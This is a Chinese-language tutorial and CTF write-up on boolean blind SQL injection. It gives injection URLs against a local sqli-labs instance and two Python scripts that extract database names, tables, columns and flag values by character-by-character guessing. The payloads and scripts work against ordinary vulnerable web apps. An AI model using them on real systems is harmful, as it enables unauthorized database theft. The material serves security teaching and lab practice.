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python 布尔注入渗透

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引文

之前有一篇文章给大家带来了SQL注入的基本知识点以及分类,包含的面比较广但是不深入,于是我准备详细讲讲每一种类型的SQL注入的详细利用方法以及场景,今天给大家带来的是布尔盲注,也是比较常用的一种注入方式。

基本知识

什么是布尔注入?

先了解一下什么是布尔盲注,在平常我们在网页输入SQL语句网页会给我们关于SQL语句的回显,比如SQL错报信息,我们根据这些错报信息去进行SQL注入,但你们有没有想过,如果当我们传入语句网站不会给我们回显时,我们该怎么办呢,这时我们引入布尔注入的概念,即通过一些判断语句来确认数据库的内部信息,可以看看下面的图:

有回显

无回显

下面就告诉大家如何在只有两种回显的页面,利用函数来实现我们的布尔盲注。

函数

下面给大家举例一下布尔盲注中常用的函数以及他们的作用:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

当然这只是最常见的函数,当上面这些被禁用时,我们可以寻找其他的函数,下面给大家举例如何利用这些函数。

根据布尔型的规则,网页只给我们返回TRUE或者FALSE,那么我们像下面这样进行传参:

http://127.0.0.1/Less-8/?id=1'and (length(database()))>8 --+

判断数据库名字长度是否大于8,正确返回TRUE,错误返回FALSE。

注入过程

假如我们已经判断完数据库的名字长度,接下来就来猜测数据库的第一个字母是什么:

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>110#

我们可以根据二分法来进行判断,当我们ASCII为110返回为TRUE,111时为FALSE,我们就可以判断ASCII码为110对应的字符为数据库的第一个名称。关于ASCII对应的值可以参考下面的图:

同理我们修改匹配的数据库字段来查询第二个字符:

substr(database(),2,1)

查询出数据库的名字为security后我们按顺序查询表名的第一个字母:

1' and (ascii(substr((select table_name from information_schema.tables
 where table_schema=''security limit 0,1),1,1)))>100 --+

最后得到表名为emails,于是我们查询字段值的第一个字母:

1' and (ascii(substr((select column_name from information_schema.columns
 where table_name='emails'),1,1)))>100 --+

最后得到字段值。

大家有没有发现如果我们一个一个的试时间成本是不是很大,于是我们可以编写脚本来自动循环跑出来。下面会给大家带来例题。

例题

例题一

给了我们一个搜索框:

我们尝试输入后发现,输入1回显Hello, glzjin wants a girlfriend,输入2回显Do you want to be my girlfriend?,输入大于2的数回显:Error Occured When Fetch Result,而且还会检测我们语句过滤了union等关键字,但是没有过滤(),考虑布尔盲注。尝试构造PAYLOAD:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

回显正常,可以进行SQL注入,我们利用脚本:

import requests
import time
import re
url='http://4f098f39-88d5-4922-afcc-06e3cfa8ac6e.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            min=s
        else:
            max=s
        if((max-min)<=1):
            flag+=chr(max)
            print(flag)
            break

运行得到FLAG:

例题二

也是一个搜索框,我们分别输入1和1',得到以下回显:

猜测是布尔注入,我们先查询数据库长度:

1 and length(database()) >5

得到数据库长度为4后,我们查询数据库名字:

1 and ascii(substr(database(),1,1))=115

得到库名为sqli,接下来就是查询表和字段等操作了,在网上找了一个脚本来让他自己跑:

import requests
# 爆库
def dataBaseName(url, mark):
    name = ''
    for i in range(1, 9):
        for j in "sqcwertyuioplkjhgfdazxvbnm":
            payload = url + "if(substr(database(),%d,1)='%s',1,0)" % (i, j)
            r = requests.get(payload)
            if mark in r.text:
                name = name + j
                print(name)
                break   
    print('数据库名:', name)
# 爆表
def table_name(url,mark):
    tableList = []
    for i in range(0,4):
        name = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    name = name + k
                    print(name)
                    break
        tableList.append(name)
    print('table_name:',tableList)
# 爆字段
def column_name(url,mark):
    columnList = []
    for i in range(0,3):
        columnName = ''
        for j in range(1,9):
            for k in 'sqcwertyuioplkjhgfdazxvbnm':
                payload = url + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema = database() limit %d,1),%d,1)="%s",1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    columnName += k
                    print(columnName)
                    break
        columnList.append(columnName)
    print("字段名:",columnList)
# 爆字段第一个行内容
def get_data(url,mark):
    data = ''
    for i in range(1,50):
        for j in range(48,126):
            payload = url + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,0)' %(i,j)
            r = requests.get(payload)
            if mark in r.text:
                data += chr(j)
                print(data)
                break
    print("字段第一个值",data)
# 爆字段前10行内容
def get_data(url,mark):
    dataList = []
    for i in range(1,10):
        data = ''
        for j in range(1,50):
            for k in range(48,126):
                payload = url + 'if(ASCII(SUBSTR((SELECT flag FROM `flag` limit %d,1),%d,1))=%d,1,0)' %(i,j,k)
                r = requests.get(payload)
                if mark in r.text:
                    data += chr(k)
                    print(data)
                    break
        dataList.append(data)
    print("字段前10行内容",dataList)
if __name__ == "__main__":
    url = "/?id="
    mark = "query_success"
    dataBaseName(url, mark)
    table_name(url, mark)
    column_name(url, mark)
    get_data(url,mark)

结语

今天详细讲了布尔注入的原理以及渗透过程,有兴趣的小伙伴可以自己搭建靶机尝试,文章中可能有错误的的地方欢迎大家指出,更多关于python 布尔注入渗透的资料请关注其它相关文章!

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